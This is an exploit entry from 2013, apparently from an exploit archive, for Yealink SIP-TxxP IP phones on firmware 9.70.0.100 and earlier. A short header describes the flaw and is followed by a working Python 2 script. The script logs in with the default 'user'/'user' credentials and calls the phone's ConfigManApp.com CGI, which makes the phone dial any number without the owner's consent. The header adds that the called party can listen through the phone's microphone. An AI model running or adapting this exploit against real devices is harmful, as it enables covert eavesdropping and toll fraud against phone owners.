YeaLink IP Phone Firmware <= 9.70.0.100 - Unauthenticated Phone Call Vulnerability

                                                # Exploit Title: [YeaLink IP Phone SIP-TxxP firmware <=9.70.0.100 phone
call vulnerability]
# Date: [05-28-2013]
# Exploit Author: [b0hr (francisco<[at]>garnelo.eu)]
# Vendor Homepage: [http://yealink.com]
# Software Link: [
http://yealink.com/product_list.aspx?BaseInfoCateId=147&CateId=147&ProductsCateID=147
]
# Version: 9.70.0.100 and lower]
# Tested on: [YeaLink IP Phone SIP-T20P and SIP-T26P (hardware VoIP
phone)]
# Vulnerability : [It's possible to make calls from using the first
available sip account, without supervision or confirmation of the user,
also the call receiver can listen through the phone mic .]

#!/usr/bin/python
 
import urllib2, sys
 
print "\n YeaLink IP Phone SIP-TxxP firmware <=9.70.0.100 phone call vulnerability - b0rh (francisco<[at]>garnelo.eu) - 2013-05-28 \n"

if (len(sys.argv) != 3):
    print ">> Use: " + sys.argv[0] + " <IP Phone> <phone number>"
    print ">> Ex: " + sys.argv[0] + " 127.0.0.1 123456789\n"
    exit(0)
 
IP = sys.argv[1]
num = sys.argv[2]
UrlGet_params = 'http://%s/cgi-bin/ConfigManApp.com?Id=34&Command=1&Number=%s&Account=0&sid=0.724202975169738' % (IP, num)
webU = 'user'
webP = 'user'

query = urllib2.HTTPPasswordMgrWithDefaultRealm()
query.add_password(None, UrlGet_params, webU, webP)
auth = urllib2.HTTPBasicAuthHandler(query)
log = urllib2.build_opener(auth)


urllib2.install_opener(log)

queryPag = urllib2.urlopen(UrlGet_params)

print "\n Call to %s form IP phone %s\n" %(num,IP)